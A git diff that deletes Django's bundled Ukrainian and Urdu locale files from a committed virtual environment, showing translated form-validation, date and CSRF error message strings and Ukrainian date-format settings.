python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Переконайтеся, що це ім'я файлу містить не більше ніж з %(max)d символ " -"(зараз %(length)d)." -msgstr[1] "" -"Переконайтеся, що це ім'я файлу містить не більше ніж з %(max)d символи " -"(зараз %(length)d)." -msgstr[2] "" -"Переконайтеся, що це ім'я файлу містить не більше ніж з %(max)d символів " -"(зараз %(length)d)." -msgstr[3] "" -"Переконайтеся, що це ім'я файлу містить не більше ніж з %(max)d символів " -"(зараз %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Будь ласка, або завантажте файл, або відмітьте прапорець очищення, а не " -"обидва варіанти одразу" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Завантажте правильний малюнок. Файл, який ви завантажили, не є малюнком, або " -"є зіпсованим малюнком." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Зробить коректний вибір, %(value)s немає серед варіантів вибору." - -msgid "Enter a list of values." -msgstr "Введіть список значень." - -msgid "Enter a complete value." -msgstr "Введіть значення повністю." - -msgid "Enter a valid UUID." -msgstr "Введіть коректне значення UUID." - -msgid "Enter a valid JSON." -msgstr "Введіть коректний JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Приховане поле %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" - -msgid "Order" -msgstr "Послідовність" - -msgid "Delete" -msgstr "Видалити" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Будь ласка, виправте повторювані дані для поля %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Будь ласка, виправте повторювані дані для поля %(field)s, яке має бути " -"унікальним." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Будь ласка, виправте повторювані дані для поля %(field_name)s, яке має бути " -"унікальним для вибірки %(lookup)s на %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Будь ласка, виправте повторювані значення нижче." - -msgid "The inline value did not match the parent instance." -msgstr "Зв'язане значення не відповідає батьківському екземпляру." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Зробить коректний вибір. Такого варіанту нема серед доступних." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Очистити" - -msgid "Currently" -msgstr "Наразі" - -msgid "Change" -msgstr "Змінити" - -msgid "Unknown" -msgstr "Невідомо" - -msgid "Yes" -msgstr "Так" - -msgid "No" -msgstr "Ні" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "так,ні,можливо" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d байт" -msgstr[1] "%(size)d байти" -msgstr[2] "%(size)d байтів" -msgstr[3] "%(size)d байтів" - -#, python-format -msgid "%s KB" -msgstr "%s Кб" - -#, python-format -msgid "%s MB" -msgstr "%s Мб" - -#, python-format -msgid "%s GB" -msgstr "%s Гб" - -#, python-format -msgid "%s TB" -msgstr "%s Тб" - -#, python-format -msgid "%s PB" -msgstr "%s Пб" - -msgid "p.m." -msgstr "після полудня" - -msgid "a.m." -msgstr "до полудня" - -msgid "PM" -msgstr "після полудня" - -msgid "AM" -msgstr "до полудня" - -msgid "midnight" -msgstr "північ" - -msgid "noon" -msgstr "полудень" - -msgid "Monday" -msgstr "Понеділок" - -msgid "Tuesday" -msgstr "Вівторок" - -msgid "Wednesday" -msgstr "Середа" - -msgid "Thursday" -msgstr "Четвер" - -msgid "Friday" -msgstr "П'ятниця" - -msgid "Saturday" -msgstr "Субота" - -msgid "Sunday" -msgstr "Неділя" - -msgid "Mon" -msgstr "Пн" - -msgid "Tue" -msgstr "Вт" - -msgid "Wed" -msgstr "Ср" - -msgid "Thu" -msgstr "Чт" - -msgid "Fri" -msgstr "Пт" - -msgid "Sat" -msgstr "Сб" - -msgid "Sun" -msgstr "Нд" - -msgid "January" -msgstr "Січень" - -msgid "February" -msgstr "Лютий" - -msgid "March" -msgstr "Березень" - -msgid "April" -msgstr "Квітень" - -msgid "May" -msgstr "Травень" - -msgid "June" -msgstr "Червень" - -msgid "July" -msgstr "Липень" - -msgid "August" -msgstr "Серпень" - -msgid "September" -msgstr "Вересень" - -msgid "October" -msgstr "Жовтень" - -msgid "November" -msgstr "Листопад" - -msgid "December" -msgstr "Грудень" - -msgid "jan" -msgstr "січ" - -msgid "feb" -msgstr "лют" - -msgid "mar" -msgstr "бер" - -msgid "apr" -msgstr "кві" - -msgid "may" -msgstr "тра" - -msgid "jun" -msgstr "чер" - -msgid "jul" -msgstr "лип" - -msgid "aug" -msgstr "сер" - -msgid "sep" -msgstr "вер" - -msgid "oct" -msgstr "жов" - -msgid "nov" -msgstr "лис" - -msgid "dec" -msgstr "гру" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Січ." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Лют." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Березень" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Квітень" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Травень" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Червень" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Липень" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Сер." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Вер." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Жов." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Лис." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Гру." - -msgctxt "alt. month" -msgid "January" -msgstr "січня" - -msgctxt "alt. month" -msgid "February" -msgstr "лютого" - -msgctxt "alt. month" -msgid "March" -msgstr "березня" - -msgctxt "alt. month" -msgid "April" -msgstr "квітня" - -msgctxt "alt. month" -msgid "May" -msgstr "травня" - -msgctxt "alt. month" -msgid "June" -msgstr "червня" - -msgctxt "alt. month" -msgid "July" -msgstr "липня" - -msgctxt "alt. month" -msgid "August" -msgstr "серпня" - -msgctxt "alt. month" -msgid "September" -msgstr "вересня" - -msgctxt "alt. month" -msgid "October" -msgstr "жовтня" - -msgctxt "alt. month" -msgid "November" -msgstr "листопада" - -msgctxt "alt. month" -msgid "December" -msgstr "грудня" - -msgid "This is not a valid IPv6 address." -msgstr "Це не є правильною адресою IPv6." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "або" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d рік" -msgstr[1] "%(num)d роки" -msgstr[2] "%(num)d років" -msgstr[3] "%(num)d років" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d місяць" -msgstr[1] "%(num)d місяці" -msgstr[2] "%(num)d місяців" -msgstr[3] "%(num)d місяців" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d тиждень" -msgstr[1] "%(num)d тижні" -msgstr[2] "%(num)d тижнів" -msgstr[3] "%(num)d тижнів" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d день" -msgstr[1] "%(num)d дні" -msgstr[2] "%(num)d днів" -msgstr[3] "%(num)d днів" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d година" -msgstr[1] "%(num)d години" -msgstr[2] "%(num)d годин" -msgstr[3] "%(num)d годин" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d хвилина" -msgstr[1] "%(num)d хвилини" -msgstr[2] "%(num)d хвилин" -msgstr[3] "%(num)d хвилин" - -msgid "Forbidden" -msgstr "Заборонено" - -msgid "CSRF verification failed. Request aborted." -msgstr "Помилка перевірки CSRF. Запит відхилений." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Якщо ви налаштували свій браузер таким чином, щоб заборонити йому передавати " -"заголовок «Referer», будь ласка, дозвольте йому відсилати даний заголовок " -"принаймні для даного сайту, або для всіх HTTPS-з'єднань, або для подібних " -"запитів." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Ви бачите це повідомлення, тому що даний сайт вимагає, щоб при відправці " -"форм була відправлена ​​і CSRF-cookie. Даний тип cookie необхідний з міркувань " -"безпеки, щоб переконатися, що ваш браузер не був взламаний третьою стороною." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "Більше інформації можна отримати з DEBUG=True." - -msgid "No year specified" -msgstr "Рік не вказано" - -msgid "Date out of range" -msgstr "Дата поза діапазоном" - -msgid "No month specified" -msgstr "Місяць не вказано" - -msgid "No day specified" -msgstr "День не вказано" - -msgid "No week specified" -msgstr "Тиждень не вказано" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s недоступні" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Майбутні %(verbose_name_plural)s недоступні, тому що %(class_name)s." -"allow_future має нульове значення." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Жодні %(verbose_name)s не були знайдені по запиту" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Невірна сторінка (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Перегляд вмісту каталогу не дозволено." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" не існує" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Вміст директорії %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Вітаємо, команда install завершилась успішно!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Нотатки релізу for Django %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Ви бачите цю сторінку тому що змінна DEBUG встановлена на True у вашому файлі " -"конфігурації і ви не налаштували жодного URL." - -msgid "Django Documentation" -msgstr "Документація Django" - -msgid "Topics, references, & how-to’s" -msgstr "Статті, довідки та інструкції" - -msgid "Tutorial: A Polling App" -msgstr "Посібник: програма голосування" - -msgid "Get started with Django" -msgstr "Початок роботи з Django" - -msgid "Django Community" -msgstr "Спільнота Django" - -msgid "Connect, get help, or contribute" -msgstr "Отримати допомогу, чи допомогти" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/uk/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/uk/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/uk/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/uk/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 9d9ea4a8..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/uk/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/uk/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/uk/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 0e8e9afb..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/uk/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/uk/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/uk/formats.py deleted file mode 100644 index 0f28831a..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/uk/formats.py +++ /dev/null @@ -1,35 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "d E Y р." -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "d E Y р. H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "d F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d %B %Y", # '25 October 2006' -] -TIME_INPUT_FORMATS = [ - "%H:%M:%S", # '14:30:59' - "%H:%M:%S.%f", # '14:30:59.000200' - "%H:%M", # '14:30' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d %B %Y %H:%M:%S", # '25 October 2006 14:30:59' - "%d %B %Y %H:%M:%S.%f", # '25 October 2006 14:30:59.000200' - "%d %B %Y %H:%M", # '25 October 2006 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ur/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ur/LC_MESSAGES/django.mo deleted file mode 100644 index 706c2ce7..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ur/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ur/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ur/LC_MESSAGES/django.po deleted file mode 100644 index 6067c005..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ur/LC_MESSAGES/django.po +++ /dev/null @@ -1,1222 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Mansoorulhaq Mansoor , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Urdu (http://www.transifex.com/django/django/language/ur/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ur\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "" - -msgid "Arabic" -msgstr "عربی" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "" - -msgid "Bulgarian" -msgstr "بلغاری" - -msgid "Belarusian" -msgstr "" - -msgid "Bengali" -msgstr "بنگالی" - -msgid "Breton" -msgstr "" - -msgid "Bosnian" -msgstr "بوسنیائی" - -msgid "Catalan" -msgstr "کیٹالانی" - -msgid "Czech" -msgstr "زیچ" - -msgid "Welsh" -msgstr "ویلش" - -msgid "Danish" -msgstr "ڈینش" - -msgid "German" -msgstr "جرمن" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "گریک" - -msgid "English" -msgstr "انگلش" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "برطانوی انگلش" - -msgid "Esperanto" -msgstr "" - -msgid "Spanish" -msgstr "ھسپانوی" - -msgid "Argentinian Spanish" -msgstr "ارجنٹائنی سپینش" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "" - -msgid "Nicaraguan Spanish" -msgstr "" - -msgid "Venezuelan Spanish" -msgstr "" - -msgid "Estonian" -msgstr "اسٹانین" - -msgid "Basque" -msgstr "باسک" - -msgid "Persian" -msgstr "فارسی" - -msgid "Finnish" -msgstr "فنش" - -msgid "French" -msgstr "فرانسیسی" - -msgid "Frisian" -msgstr "فریسی" - -msgid "Irish" -msgstr "آئرش" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "گیلیشین" - -msgid "Hebrew" -msgstr "عبرانی" - -msgid "Hindi" -msgstr "ھندی" - -msgid "Croatian" -msgstr "کروشن" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "ھونگارین" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "انڈونیشین" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "آئس لینڈک" - -msgid "Italian" -msgstr "اطالوی" - -msgid "Japanese" -msgstr "جاپانی" - -msgid "Georgian" -msgstr "جارجیائی" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "" - -msgid "Khmer" -msgstr "خمر" - -msgid "Kannada" -msgstr "کناڈا" - -msgid "Korean" -msgstr "کوریائی" - -msgid "Luxembourgish" -msgstr "" - -msgid "Lithuanian" -msgstr "لیتھونیائی" - -msgid "Latvian" -msgstr "لتوینی" - -msgid "Macedonian" -msgstr "میسیڈونین" - -msgid "Malayalam" -msgstr "ملایالم" - -msgid "Mongolian" -msgstr "منگولین" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "" - -msgid "Dutch" -msgstr "ڈچ" - -msgid "Norwegian Nynorsk" -msgstr "نارویائی نینورسک" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "پنجابی" - -msgid "Polish" -msgstr "پولش" - -msgid "Portuguese" -msgstr "پورتگیز" - -msgid "Brazilian Portuguese" -msgstr "برازیلی پورتگیز" - -msgid "Romanian" -msgstr "رومانی" - -msgid "Russian" -msgstr "روسی" - -msgid "Slovak" -msgstr "سلووک" - -msgid "Slovenian" -msgstr "سلووینین" - -msgid "Albanian" -msgstr "البانوی" - -msgid "Serbian" -msgstr "سربین" - -msgid "Serbian Latin" -msgstr "سربین لاطینی" - -msgid "Swedish" -msgstr "سویڈش" - -msgid "Swahili" -msgstr "" - -msgid "Tamil" -msgstr "تاملی" - -msgid "Telugu" -msgstr "تیلگو" - -msgid "Thai" -msgstr "تھائی" - -msgid "Turkish" -msgstr "ترکش" - -msgid "Tatar" -msgstr "" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "یوکرائنی" - -msgid "Urdu" -msgstr "" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "ویتنامی" - -msgid "Simplified Chinese" -msgstr "سادی چینی" - -msgid "Traditional Chinese" -msgstr "روایتی چینی" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "درست قیمت (ویلیو) درج کریں۔" - -msgid "Enter a valid URL." -msgstr "درست یو آر ایل (URL) درج کریں۔" - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "IPv4 کا درست پتہ درج کریں۔" - -msgid "Enter a valid IPv6 address." -msgstr "" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "" - -msgid "Enter only digits separated by commas." -msgstr "صرف اعداد درج کریں جو کوموں سے الگ کئے ھوئے ھوں۔" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"اس بات کا یقین کر لیں کہ یہ قیمت (ویلیو) %(limit_value)s ھے۔ (یہ " -"%(show_value)s ھے)%(show_value)s" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"اس بات کا یقین کر لیں کہ یہ قیمت (ویلیو) %(limit_value)s سے کم یا اس کے " -"برابر ھے۔" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"اس بات کا یقین کر لیں کہ یہ قیمت (ویلیو) %(limit_value)s سے زیادہ یا اس کے " -"برابر ھے۔" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Enter a number." -msgstr "نمبر درج کریں۔" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "اور" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "یہ خانہ نامعلوم (null( نھیں رہ سکتا۔" - -msgid "This field cannot be blank." -msgstr "یہ خانہ خالی نھیں چھوڑا جا سکتا۔" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s اس %(field_label)s کے ساتھ پہلے ہی موجود ھے۔" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "%(field_type)s قسم کا خانہ" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "بولین (True یا False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "سلسلۂ حروف (String) (%(max_length)s تک)" - -msgid "Comma-separated integers" -msgstr " کومے سے الگ کئے ھوئے صحیح اعداد" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "تاریخ (وقت کے بغیر)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "تاریخ (بمع وقت)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "اعشاری نمبر" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "" - -msgid "File path" -msgstr "فائل کا راستہ(path(" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "نقطہ اعشاریہ والا نمبر" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "صحیح عدد" - -msgid "Big (8 byte) integer" -msgstr "بڑا (8 بائٹ) صحیح عدد" - -msgid "IPv4 address" -msgstr "" - -msgid "IP address" -msgstr "IP ایڈریس" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "بولین (True، False یا None(" - -msgid "Positive integer" -msgstr "" - -msgid "Positive small integer" -msgstr "" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "" - -msgid "Small integer" -msgstr "" - -msgid "Text" -msgstr "متن" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "وقت" - -msgid "URL" -msgstr "یو آر ایل" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "" - -msgid "Image" -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "بیرونی کلید (FK( (قسم متعلقہ خانے سے متعین ھو گی)" - -msgid "One-to-one relationship" -msgstr "ون-ٹو-ون ریلیشن شپ" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "مینی-ٹو-مینی ریلیشن شپ" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "یہ خانہ درکار ھے۔" - -msgid "Enter a whole number." -msgstr "مکمل نمبر درج کریں۔" - -msgid "Enter a valid date." -msgstr "درست تاریخ درج کریں۔" - -msgid "Enter a valid time." -msgstr "درست وقت درج کریں۔" - -msgid "Enter a valid date/time." -msgstr "درست تاریخ/وقت درج کریں۔" - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "کوئی فائل پیش نہیں کی گئی۔ فارم پر اینکوڈنگ کی قسم چیک کریں۔" - -msgid "No file was submitted." -msgstr "کوئی فائل پیش نہیں کی گئی تھی۔" - -msgid "The submitted file is empty." -msgstr "پیش کی گئی فائل خالی ھے۔" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "براہ مھربانی فائل پیش کریں یا Clear checkbox منتخب کریں۔ نہ کہ دونوں۔" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"درست تصویر اپ لوڈ کریں۔ جو فائل آپ نے اپ لوڈ کی تھی وہ تصویر نہیں تھی یا " -"خراب تصویر تھی۔" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "درست انتخاب منتخب کریں۔ %(value)s دستیاب انتخابات میں سے کوئی نہیں۔" - -msgid "Enter a list of values." -msgstr "قیمتوں (ویلیوز) کی لسٹ درج کریں۔" - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please 